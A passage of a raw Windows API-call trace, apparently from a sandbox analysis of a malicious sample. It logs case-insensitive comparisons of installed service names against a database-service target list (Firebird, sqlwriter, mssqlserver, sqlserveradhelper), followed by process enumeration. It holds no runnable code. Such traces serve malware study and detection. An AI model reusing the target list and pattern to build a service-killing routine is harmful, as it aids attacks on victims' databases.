	[0077.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0077.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0077.207] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0077.207] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0077.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0077.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0077.207] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0077.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0077.207] lstrlenW (lpString="CDPSvc") returned 6
	[0077.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0077.208] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0077.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0077.208] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0077.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0077.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0077.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0077.208] lstrlenW (lpString="CryptSvc") returned 8
	[0077.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0077.208] lstrlenW (lpString="DcomLaunch") returned 10
	[0077.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0077.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0077.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0077.208] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0077.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0077.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0077.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0077.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0077.209] lstrlenW (lpString="Dhcp") returned 4
	[0077.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0077.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0077.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0077.209] lstrlenW (lpString="Dnscache") returned 8
	[0077.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0077.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0077.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0077.209] lstrlenW (lpString="DoSvc") returned 5
	[0077.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0077.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0077.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0077.209] lstrlenW (lpString="DPS") returned 3
	[0077.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0077.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0077.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0077.209] lstrlenW (lpString="DusmSvc") returned 7
	[0077.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0077.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0077.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0077.210] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0077.210] lstrlenW (lpString="EventLog") returned 8
	[0077.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0077.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0077.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0077.210] lstrlenW (lpString="EventSystem") returned 11
	[0077.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0077.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0077.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0077.210] lstrlenW (lpString="FontCache") returned 9
	[0077.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0077.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0077.210] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0077.210] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0077.210] lstrlenW (lpString="gpsvc") returned 5
	[0077.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0077.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0077.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0077.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0077.210] lstrlenW (lpString="iphlpsvc") returned 8
	[0077.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0077.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0077.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0077.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0077.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0077.210] lstrlenW (lpString="KeyIso") returned 6
	[0077.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0077.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0077.211] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0077.211] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0077.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0077.211] lstrlenW (lpString="LanmanServer") returned 12
	[0077.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0077.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0077.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0077.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0077.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0077.211] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0077.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0077.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0077.211] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0077.211] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0077.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0077.211] lstrlenW (lpString="lfsvc") returned 5
	[0077.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0077.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0077.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0077.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0077.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0077.211] lstrlenW (lpString="lmhosts") returned 7
	[0077.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0077.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0077.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0077.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0077.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0077.211] lstrlenW (lpString="LSM") returned 3
	[0077.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0077.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0077.212] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0077.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0077.212] lstrlenW (lpString="MapsBroker") returned 10
	[0077.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0077.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0077.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0077.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0077.212] lstrlenW (lpString="MpsSvc") returned 6
	[0077.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0077.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0077.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0077.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0077.212] lstrlenW (lpString="NcbService") returned 10
	[0077.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0077.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0077.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0077.212] lstrlenW (lpString="netprofm") returned 8
	[0077.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0077.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0077.212] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0077.212] lstrlenW (lpString="NlaSvc") returned 6
	[0077.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0077.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0077.212] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0077.213] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0077.213] lstrlenW (lpString="nsi") returned 3
	[0077.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0077.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0077.213] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0077.213] lstrlenW (lpString="PcaSvc") returned 6
	[0077.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0077.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0077.213] lstrlenW (lpString="PlugPlay") returned 8
	[0077.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0077.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0077.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0077.213] lstrlenW (lpString="Power") returned 5
	[0077.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0077.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0077.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0077.213] lstrlenW (lpString="ProfSvc") returned 7
	[0077.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0077.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0077.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0077.214] lstrlenW (lpString="RpcEptMapper") returned 12
	[0077.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0077.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0077.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0077.214] lstrlenW (lpString="RpcSs") returned 5
	[0077.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0077.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0077.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0077.214] lstrlenW (lpString="SamSs") returned 5
	[0077.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0077.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0077.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0077.214] lstrlenW (lpString="Schedule") returned 8
	[0077.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0077.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0077.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0077.214] lstrlenW (lpString="SecurityHealthService") returned 21
	[0077.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0077.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0077.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0077.214] lstrlenW (lpString="SENS") returned 4
	[0077.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0077.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0077.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0077.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0077.215] lstrlenW (lpString="ShellHWDetection") returned 16
	[0077.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0077.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0077.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0077.215] lstrlenW (lpString="Spooler") returned 7
	[0077.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0077.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0077.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0077.215] lstrlenW (lpString="SSDPSRV") returned 7
	[0077.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0077.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0077.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0077.215] lstrlenW (lpString="StateRepository") returned 15
	[0077.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0077.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0077.215] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0077.215] lstrlenW (lpString="SysMain") returned 7
	[0077.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0077.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0077.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0077.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0077.215] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x563f00 | out: hHeap=0x500000) returned 1
	[0077.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c
	[0077.539] Process32FirstW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0077.543] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0077.544] lstrlenW (lpString="System") returned 6
	[0077.544] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0077.544] lstrlenW (lpString="smss.exe") returned 8
	[0077.545] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0077.545] lstrlenW (lpString="csrss.exe") returned 9
	[0077.545] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0077.546] lstrlenW (lpString="wininit.exe") returned 11
	[0077.546] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0077.546] lstrlenW (lpString="csrss.exe") returned 9
	[0077.546] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0077.547] lstrlenW (lpString="winlogon.exe") returned 12
	[0077.547] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0077.547] lstrlenW (lpString="services.exe") returned 12
	[0077.547] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0077.548] lstrlenW (lpString="lsass.exe") returned 9
	[0077.548] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.549] lstrlenW (lpString="svchost.exe") returned 11
	[0077.549] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0077.549] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0077.549] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0077.550] lstrlenW (lpString="fontdrvhost.exe") returned 15
